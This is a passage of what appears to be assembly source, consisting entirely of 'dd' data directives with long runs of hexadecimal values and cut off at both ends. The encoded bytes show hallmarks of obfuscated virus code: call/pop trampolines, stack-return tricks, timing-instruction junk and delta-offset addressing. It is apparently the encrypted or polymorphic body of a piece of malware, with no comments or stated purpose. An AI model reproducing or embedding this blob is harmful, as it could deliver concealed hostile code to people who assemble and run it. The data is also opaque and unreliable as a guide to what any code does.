24448104h, 1C04h dd 0C3524200h, 688AFD36h, 8EE5DCD4h, 9D8B569Eh, 62200F9h dd 0E5BD835Bh, 62230h, 46B840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 170424h, 52420000h, 39D00DC3h dd 45BD8910h, 6606221Bh, 83DC22BFh, 2230E5BDh, 840F0106h dd 450h, 7808BB66h, 0BD83FA8Ah, 62230E5h, 7860F03h, 8B000004h dd 221D3D9Dh, 6E86006h, 0B1000000h, 9050F725h, 9DBD893Bh dd 5B062234h, 0FD98C66h, 0E180D9BFh, 0EB816604h, 0C90AEE9Ah dd 141840Fh, 0B5890000h, 62228D5h, 7A58589h, 858B0622h dd 62210B9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 50C35141h, 6810Fh, 9D8B0000h, 6221D39h, 68C0Fh dd 0BD290000h, 62219A9h, 8A58533h, 0DE8A0622h, 8299D89h dd 8A500622h, 240489DDh, 6A26E780h, 599D8B00h, 0E8062216h dd 4, 1F03FFh, 14E8h, 0F02D7700h, 0F86C4D94h, 7806102Eh dd 0A41EBF46h, 0D268BC9h, 0F52505Dh, 8F0F31h, 5A000000h dd 50505F58h, 0D8BF6652h, 0BB310FEEh, 685444B4h, 448B585Ah dd 52500424h, 5E9310Fh, 0AB000000h, 9033A958h, 8B585Ah dd 60DABB66h, 4244489h, 0DA8B6651h, 95FF585Bh, 6221E91h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 6DC35242h dd 256A44E6h, 0CAEB8589h, 6A0625h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0F13752C3h, 93D0EB81h dd 48E94B18h, 6A000002h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0C6DAC351h, 6609AF38h dd 8B2D1BBBh, 25CAE385h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 1DB1A956h, 0FC5E67F4h dd 1800C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 669F5EC3h, 0F1101BBh, 285h, 8BF88A00h dd 25CAE7B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 2036AD23h, 0F8B70F54h, 0A65858Bh dd 13E90622h, 50000000h, 1E249E21h, 9CB740E3h, 0E8D1FF57h dd 0E836E594h, 68999C3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 0A6C35747h, 859DF1CEh, 858B6080h, 62210B9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 5CC35747h dd 964E0ACh, 22062195h, 6D9D8906h, 89062206h, 8C0F0446h dd 0 dd 850F50h, 89000000h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 288E47C3h, 67B21201h dd 0AE9FCh, 0DFC10000h, 897F16D7h, 8B77BD54h, 0CAE3B5FFh dd 9D890625h, 62204F1h, 0D068F98Bh, 515A5735h, 0EB0545BFh dd 34815B6Bh, 48362F24h, 56006A5Ah, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 6CD95650h, 5C87CEE4h dd 5E8B67Ch, 56000000h, 0F41DB1A9h, 2870Fh, 61600000h dd 4D95295Fh, 8D062230h, 25CAEB85h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0A5B589D9h dd 8906222Ch, 2213B5B5h, 52505006h, 5860Fh, 0F5BB0000h dd 0F309227h, 0FB8B6631h, 489585Ah, 75853124h, 0FF062202h dd 221E9195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E86B0561h, 10h, 0D50C45A0h, 4D9E8818h dd 8C22C15Eh, 0F0A6B6FAh, 42D9D8Bh, 615B0622h, 6E850h dd 25B10000h, 3B9050F7h, 1D78D781h, 5B5F4D18h, 30E585C7h dd 30622h, 0BD830000h, 625CAEBh, 47840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0A77CC356h, 8353277Eh, 0E9FFB70Fh, 39h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1C35646h, 3050F554h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 75BB66C0h, 52006AC3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 16967E34h, 0A98DA3E8h, 0BE91Eh, 0F0680000h dd 0D3D6DD99h, 86183391h, 0E5BD83E6h, 3062230h, 408850Fh dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h dd 52420000h, 811DACC3h, 92AFDBFFh, 0E8744B6Fh, 0Ah, 0BE464968h dd 73687FAFh, 0E951C69Eh, 10h, 9F820977h, 120C2CC9h, 0BB8E38EFh dd 7524CBB0h, 0BD835B5Bh, 625CAEBh, 0AF840F00h, 6A000003h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 0D1EDC350h, 0EBB5FF2Eh, 6A0625CAh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0F5AC350h, 95FFD8B7h, 6221DCDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 73C35242h, 95013C50h, 6220025h dd 2ED9D8Bh, 0B58B0622h, 625CADFh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 2EC35040h, 11BD31E9h, 0C7062230h dd 1000106h, 9DB58900h, 50062218h, 0DE9h, 0A563E700h, 9A3C4C3h dd 0B4B07E46h, 34898BF1h, 68E0F24h, 29000000h, 2206F9B5h dd 0EBB5FF06h, 6A0625CAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0FF3BC352h, 28C0FD5h dd 8A000000h, 4195FFFEh, 6A062225h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 70A9C351h dd 18B59D8Bh, 0B58B0622h, 625CADFh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0E4C35242h, 1716CF4h, 9AB1FDBBh dd 0A5B5897Eh, 8B062201h, 221B2D85h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 3DDF4A3h, 34C62E36h dd 0B70F83ECh, 8D9D89DAh, 89062230h, 0C486h, 8BDE8A00h dd 2233F195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 6063B42Ah, 2D9D8BA2h, 83062235h dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0AAE3E8C3h, 1D5429C2h, 0BD8BBC79h, 62214C5h dd 89205089h, 221BED95h, 0F58D8906h, 8D06221Eh, 25DEBC85h dd 0A8B0F06h, 60000000h, 25958D89h, 0A7B10622h, 0B8868961h dd 52000000h, 7D958953h, 5F062232h, 3006A5Bh, 220801BDh dd 6DBD8B06h, 0FF062206h, 25CAEBB5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8B66B716h dd 8595FFDEh, 8B062202h, 22215D9Dh, 0DE8A9606h, 96DF8B50h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 61C35040h dd 5A6CE7CBh, 8B664453h, 0EBB5FFDFh, 8B0625CAh, 0F595FFFAh dd 0BF06221Ah, 3CE1490Fh, 1331BD83h, 0F000622h, 2184h dd 0EE900h, 0C3FD0000h, 16A20ADCh, 3027551Ch, 0D2E69355h dd 50DA8B96h, 96F88B66h, 32F19D8Bh, 0B5FF0622h, 625CAEBh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0CBC35545h dd 9C9654CCh, 0AE8h, 5A23F500h, 0A6F02F80h, 602CE4DAh dd 130D8D89h, 8B660622h, 0FF5B61F3h, 221D4195h, 95858906h dd 0FF06221Ah, 25CAEBB5h, 0FE906h, 9FF70000h, 0D8D60014h dd 309E551Dh, 5E189BE2h, 0C595FFA6h, 6606222Fh, 0A6BAC781h dd 2A9BD83h, 0F020622h, 5E84h, 0E59D8900h, 8B06222Ch, 22112D9Dh dd 0E1858B06h, 6A062200h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 174BC355h, 0F1CB8BBCh dd 0E9735290h, 9, 91B5728h, 751BA34Eh, 0BE838h, 35EC0000h dd 534A5FAh, 0DDE8E080h, 0D59D896Fh, 5B06220Fh, 0C70000C6h dd 22197D85h, 6, 28E9F800h, 6AFFFFF3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0CD9DC353h dd 8166DD0Ch, 8B208EF3h, 0C9B531C1h, 8D062208h, 222CB585h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0B0CBBCD7h, 0C6982BBh, 899D3160h, 0B106220Ah dd 89506138h, 0FE82404h, 0B4000000h, 3B69CB23h, 733714A4h dd 6051E9DFh, 0BE60F580h, 5D98BC11h, 33E78166h, 315B610Fh dd 22042585h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 62C0C353h, 6AD424BCh dd 0FB8B6600h, 0E0C7858Dh, 6A0626h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 160424h, 55450000h, 84618FC3h dd 0C083FCF5h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 7902A16Ah, 0FB8B900Bh dd 0DC44BB50h, 66905664h, 0F57EC781h, 0BD8B006Ah, 6220F95h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 44E773C3h, 0D321EA5h, 0FF08C831h, 22355595h dd 0F8D8D06h, 6A0625A9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 67A6C357h, 56EE2050h dd 89BD8B57h, 5B06220Ah, 6AD1FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 97061C3h, 220FC5BDh dd 0F5BD8306h, 1062200h, 89850Fh, 26A0000h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 7DC35545h, 0F605073h dd 68Eh, 840F00h, 0B8000000h, 7E32DE69h, 24048961h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B9C35343h, 8589CD67h dd 6220089h, 0E8DBD8Bh, 95FF0622h, 6220285h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D1C35646h, 426BA1E5h dd 0E9DF8B66h, 0D7Bh, 0E8h, 0ED815D00h, 626E0D1h, 42DBD8Bh dd 0EE90622h, 9000000h, 0F1E5E19Ch, 0A806C06Ah, 0F4DE181Bh dd 52006AAEh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 0E0E780DCh, 9345858Dh, 9D330625h, 6220159h dd 0D98B6690h, 0F2FEBF50h, 66903AEDh, 0BF18F381h, 35FF64h dd 60000000h, 1AEDBD8Bh, 890F0622h, 6, 4DD958Bh, 64610622h dd 2589h, 0BF660000h, 85FFAEC0h, 62208B1h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0BC35242h, 5890Fh dd 30BB0000h, 6A2D05DCh, 918589FFh, 0FF06220Fh, 2225EDB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0D736DD1h, 12E848h, 7C560000h, 5F432DF0h dd 0E269306Bh, 0B68718DAh, 0E073CAE9h, 0FF5BFE8Bh, 221C3595h dd 121E906h, 0F600000h, 480h, 6DB96600h, 61F08BF2h, 0B50900B0h dd 62212B1h, 0EE970E6h, 0E6000000h, 11859448h, 76A19623h dd 0AD9A86F4h, 0F71E407h, 685h, 419D8B00h, 3C06221Fh, 0E0830F61h dd 0F000000h, 0B60FF8BFh, 2810FC8h, 8B000000h, 6BADEh dd 0BE90000h, 0AC000000h, 71E17062h, 3344F57Ch, 0C18BB8DDh dd 7E9h, 0A3E3AF00h, 0FD6C201Eh, 8B04E8C1h, 0E2F766D8h dd 2BD88B66h, 0E59D8BC8h, 0BF062219h, 2B3BA088h, 8F0FD18Bh dd 6, 184DBD29h, 84E90622h, 60000000h, 8A0F56h, 5E000000h dd 8B61C28Bh, 185h, 67BF6600h, 7C083A3h, 1AB19D8Bh, 0C0830622h dd 6800F00h, 81000000h, 0DCB11ADFh, 5585895Dh, 3B06220Eh dd 7830FD0h, 0E9000000h, 43h, 8D8BD98Bh, 0FFFFFFFFh, 33E5BD8Bh dd 0E1830622h, 2C840F01h, 89000000h, 220E7195h, 0B5895706h dd 6221659h, 0FFA5835Bh, 0FEFFFFFFh, 0F719D8Bh, 95890622h dd 1, 21318D89h, 0E90622h, 8D000000h, 265FA0B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 53ED86A1h, 8C6A5581h, 91958902h, 6A062211h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 7E76DB08h, 8BEF3760h, 7595FFDAh, 0B9062230h, 1044h dd 7E9h, 75476C00h, 54725ECCh, 6AFCE183h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0B1F8C355h dd 0C806E0BEh, 0C5254FC7h, 1A6D9D8Bh, 8BFC0622h, 221E21BDh dd 6AC02B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 55E6C357h, 0B9BD0BE9h, 8B062218h dd 2231599Dh, 89D22B06h, 2220A98Dh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 0AE9F4h, 6AF10000h, 1BA806C0h, 0AEF4DE18h dd 880DDF8Bh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 8F03C352h, 0EAE25926h dd 0F5CF36A2h, 0F840Fh, 5E80000h, 88000000h, 0E0C55A16h dd 77D9BF66h, 0F1958B5Bh, 31062233h, 22137595h, 318D8B06h dd 6A06222Dh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 55EFC353h, 0CFE780F9h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0EC472DC3h dd 799D0960h, 0F06220Fh, 581h, 0FE75BE00h, 6A6109B4h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 442EC356h, 0D5C681F2h, 59D299Ah, 83062229h, 222C69BDh dd 840F0006h, 88h, 0B8DE8Ah, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7A27C353h dd 5E9F6C0h, 4F000000h, 4154294h, 0A5EB8166h, 0B18D8D03h dd 6A062250h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 7341C350h, 3D77DF21h, 1D8589D6h dd 0FF062216h, 52006AE1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0B963DB7h, 23B78D64h dd 30E5BD83h, 0F000622h, 49784h, 8B665000h, 0BD835FD9h dd 62230E5h, 0A0840F01h, 81000004h, 9770DFD3h, 0E5BD8360h dd 3062230h, 457860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0F60DEC3h, 289h, 66D88B00h dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 7670C1C3h, 699ECC35h, 0BF0F8B10h, 4E180DEh dd 1DDDBD89h, 0C90A0622h, 157840Fh, 85290000h, 6222D7Dh dd 10B9858Bh, 29510622h, 22069585h, 11E85B06h, 5A000000h dd 52E613C3h, 5F9074F9h, 2D2635Eh, 3253080Ch, 2C719589h dd 335B0622h, 2208A585h, 0DFBF0F06h, 11E850h, 91A80000h dd 0CCFB333Ah, 2E7E7C64h, 0E1D5C7BEh, 50A560DCh, 0AE952h dd 91E30000h, 531623h, 57CC1CDFh, 5F50310Fh, 895B585Ah dd 810F2404h, 5, 4EED2BBBh, 0D88B6679h, 0BB66006Ah, 8D894BFBh dd 6221CDDh, 4E8h, 1F03FF00h, 9ABF6600h, 5F565078h, 424448Bh dd 12E8h, 18A81D00h, 0EEA232E5h, 26870840h, 0ABB68941h dd 662F3846h, 5F406EBBh, 4489008Bh, 60520424h, 5250C28Bh dd 585A310Fh, 6A585F61h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 66AAC357h, 69D0C781h dd 1E9195FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 0E006C8C3h, 0FB8E78FEh, 89215FD9h dd 2204E18Dh, 0EB858906h, 6A0625CAh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C604C355h dd 0C9864532h, 859BB535h, 27E99D8Bh, 27E90622h, 9000002h dd 222479BDh, 0E3858B06h, 6A0625CAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 4D9EC356h dd 8C22C15Eh, 1BD8BFAh, 0C7062208h, 1800h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 8F72FB69h, 8509A1BFh, 622066Dh, 0CAE7B58Bh, 0B70F0625h dd 852960DFh, 622134Dh, 6D88B966h, 65858B61h, 6A06220Ah dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 4EE6C356h, 0D07A9742h, 689760Ch, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 4EC35747h, 0C4242C21h dd 40C94B32h, 99D299Dh, 8B062229h, 2210B985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0B2276783h, 8B662C2Ah, 44689D9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 28C35343h, 0ADB8322Bh, 8D895E2Dh dd 6222C5Dh, 50D98B66h dd 13E8h, 0DB09CE00h, 9C3D35C1h, 4878E8D5h, 40120F46h dd 4730E94Ch, 58E0Fh, 0B0BF0000h, 5F69999Ch, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 6EB5C356h, 896510E3h, 0FF514F2h, 482h, 13BF6600h dd 0E3B5FF19h, 6A0625CAh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 2971C355h, 22012DB5h dd 2CB96806h, 8B66BE4Bh, 240481DAh, 41D3D746h, 5860Fh dd 81660000h, 314FCCF3h, 2210518Dh, 0EB858D06h, 6A0625CAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 1DCDC353h, 5829BEB8h, 119D8BC7h, 0B706220Eh dd 0E86050DEh, 0Ch, 1DC2565Bh, 93C79C47h, 3EEC8158h, 8B5E5F56h dd 48961F3h, 0D98B6624h, 95FFA1B7h, 6221E91h, 0B1BD8B50h dd 5F062231h, 3515BD0Bh, 6A610622h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 1D72C351h dd 0C5E0D3B7h, 9D295D3Eh, 6221CD5h, 9E9h, 0E4D5F000h, 3840BE91h dd 85C75B19h, 62230E5h, 3, 38FC381h, 0BD8373EFh, 625CAEBh dd 2A840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 0D744C355h, 21E957E5h dd 89000000h, 220FBD95h, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 6A4DDF80h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 9470C357h dd 0DA899DCDh, 0A89ACABFh, 0D3816657h, 0BD837DBBh, 62230E5h dd 0A2850F03h, 0F000003h, 380h, 3EEB8000h, 0CAEBBD83h dd 0F000625h, 38C84h, 418D8900h, 66062216h, 0FF5C44BFh dd 25CAEBB5h, 0EE906h, 42520000h, 1854CEF3h, 9A6C27F1h dd 0B05A33EBh, 0BE9h, 26AF6F00h, 0F8ABE0F9h, 0F8DDF3E7h dd 1DCD95FFh, 8E0F0622h, 6, 339D8531h, 0B58B0622h, 625CADFh dd 2C51BD29h, 6C70622h, 10001h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0B6C35040h, 6696FC7Fh, 6650D98Bh dd 96C3F9BBh, 2181BD09h, 0B5FF0622h, 625CAEBh, 95FFDF8Bh dd 6222541h, 8BD98B66h, 25CADFB5h, 8E906h, 96F20000h, 59DFA3B2h dd 858B1F39h, 6221B2Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 5DC35040h, 19D8B2Dh, 89062226h, 0C486h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8BEA57E1h, 22100DBDh, 0F1958B06h, 0F062233h dd 0C283FBB7h, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8BFD9420h, 2225F59Dh dd 8E806h, 50080000h, 0A0F23D3Bh, 0FE8BC202h, 2050895Fh dd 14E9h, 8ADB7C00h, 0D0209206h, 16BD2DB2h, 2F8F6245h dd 99B2A489h, 0BC858D6Fh, 660625DEh, 6244EB81h, 0B88689h dd 6A0000h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 3FC35141h, 8BFC8A3Fh, 220F9D9Dh, 999D0106h, 0FF062211h dd 25CAEBB5h, 0AEBFF906h, 0FF673534h, 22028595h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0BBA5CB8Fh, 0B3539721h, 0CF816670h, 89509921h, 6A2434h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0BE9F9C3h, 9F000000h, 7D95BAADh, 0BD588FD5h, 8960A6D3h dd 2209119Dh, 499D2306h, 6106220Eh, 0FFDE8B66h, 25CAEBB5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 0FFFC454Fh, 221AF595h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 83FCBC08h, 221331BDh, 840F0006h, 51h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 17h, 0BDC35343h, 0B32785BAh dd 0B9BB5097h, 8954D7D9h, 6A2434h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 6B259DC3h, 89026D26h dd 22184DBDh, 0EBB5FF06h, 0FF0625CAh, 221D4195h, 0DAB70F06h dd 0CAEBB5FFh, 6A0625h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 50FCFC3h, 8B854AC9h, 2228E1BDh dd 0C595FF06h, 8906222Fh, 22212985h, 0A9BD8306h, 2062202h dd 6A840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0CFE6E6C3h, 0E1858BF8h, 66062200h dd 8DCDF781h, 15219529h, 0C60622h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 2504E08Ch dd 0A1A17BACh, 9D31608Fh, 62208B9h, 8CE921BBh, 9D33610Ch dd 62214A5h, 197D85C7h, 622h, 66600000h, 3D5AEF81h, 894FBF66h dd 0F369E961h, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 28764DC3h, 3C9B501h, 0C18B0622h dd 0C9086BFh, 0E58D891Ah, 8D062220h, 222CB585h, 0C0816006h dd 6CEE7162h, 247D9D89h, 50610622h, 0FE8B5250h, 8E8310Fh dd 20000000h, 0CC5412BBh, 5F4E656Fh, 489585Ah, 57006A24h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 6A6F63h, 6A97B3h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 9C35242h, 0E68593A2h, 0DF8B66ECh, 267D8589h dd 858D0622h, 626F099h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0A1C35343h, 83410219h, 6A05C0h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C20427C3h, 0EDAD7873h, 9E8E8h, 5BD80000h, 9F1C80F1h dd 895493E3h, 221531B5h, 880F5B06h, 0Dh, 5E8h, 2E96C600h dd 5F56D166h, 0E850905Bh, 0Fh, 0E05C22Eh, 2F03A488h, 0AC87DE3Dh dd 514E7A5Dh, 9E8h, 0ECD13B00h, 4DBEF46Eh, 5F5F43FEh, 6A905Fh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 0CC67C2C3h, 8166B2B0h, 6A162BE3h, 9DBD8B00h, 6A06221Ah dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h dd 0C3514100h, 0C82EE016h, 0CD644B7Fh, 0AE9EDh, 2BD60000h dd 4EF65D10h, 0D725D152h, 355595FFh, 95890622h, 62232F5h dd 0A90F8D8Dh, 0D1FF0625h, 0BD83DE8Bh, 62200F5h, 0B6850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 2022C355h, 0F78B580h, 138B0F50h dd 0E9000000h, 0Eh, 2ED5B228h, 0EE25DEABh, 0E8DA52C1h dd 6A5BE9D7h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 7EFFBE16h, 0EB56D24Fh, 12E9CFh, 0E0990000h dd 0F59ABE0Bh, 21023972h, 8C20FED8h, 0F2C36B70h, 0AB95BF90h dd 9050521Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0E4C35747h, 17DA4B75h, 2900EDF5h, 221D6195h, 8595FF06h dd 89062202h, 2201ED95h, 0DBCE906h, 0E80000h, 5D000000h dd 0F0A3ED81h, 9D890626h, 62215F9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 66C35646h, 0E830AC0Ch, 11h dd 18E7B741h, 0E6F4160Ah, 8D308F3Dh, 0B7257168h, 0CD85316Bh dd 5F06222Ch, 9345858Dh, 6A0625h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 1C89B7C3h, 82B89136h dd 0A99D8BB8h, 9006221Bh, 6A9050h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 8B98D3C3h, 35FF64FBh dd 0 dd 0F1D38166h, 258964F4h, 0 dd 3085BD8Bh, 85FF0622h, 62208B1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 8BC35343h, 52AC06FCh, 68E0F57h dd 81000000h, 9B02ADDFh, 6AFF6A2Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4370C353h dd 6028EAF0h, 0A4DE8166h, 0E18A575Ah, 0B5FF6159h, 622140Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FFC35141h dd 57D6B92Fh, 0FF1CFC89h, 221C3595h, 118E906h, 81660000h dd 0B02D40D7h, 159D8B00h, 0E6062221h, 718D2970h, 0E4062214h dd 0AE971h, 0BBD40000h, 67ACB1D6h, 51B19506h, 830F613Ch dd 0EAh, 10E9h, 0EC904B00h, 0D0D9A21Fh, 0F18DDB95h, 6B867782h dd 0C8B60F89h, 0BAD9B70Fh, 6, 356034BFh, 89C18B27h, 221B1185h dd 4E8C106h, 0F766DF8Bh, 0B48ABBE2h, 0C82B02CAh, 7BDDBF66h dd 0A3E9D18Bh, 0E9000000h, 7, 78A87D66h, 8B827E88h, 485h dd 0B98D0100h, 83062225h, 880F07C0h, 6, 3145BD89h, 0C0830622h dd 46F2BB00h, 0D03B4EDAh, 21830Fh, 0D98B0000h, 65E9h, 9E800h dd 0B0C00000h, 0B2A24E86h, 0F80D3D7h, 587h, 0D3816600h dd 8B5F941Dh, 0FFFFFF8Dh, 0C8F0FFFh, 0F000000h, 689h, 85BD8900h dd 6606221Eh, 833DD1BBh, 840F01E1h, 26h, 33FDB501h, 0A5830622h dd 0FFFFFFFFh, 8B97B7FEh, 22253D9Dh, 4958906h, 89000000h dd 221C0DBDh, 0E906h, 0B58D0000h, 6266FE4h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 78C35040h, 0D9FEA303h dd 89006A44h, 221BF19Dh, 7595FF06h, 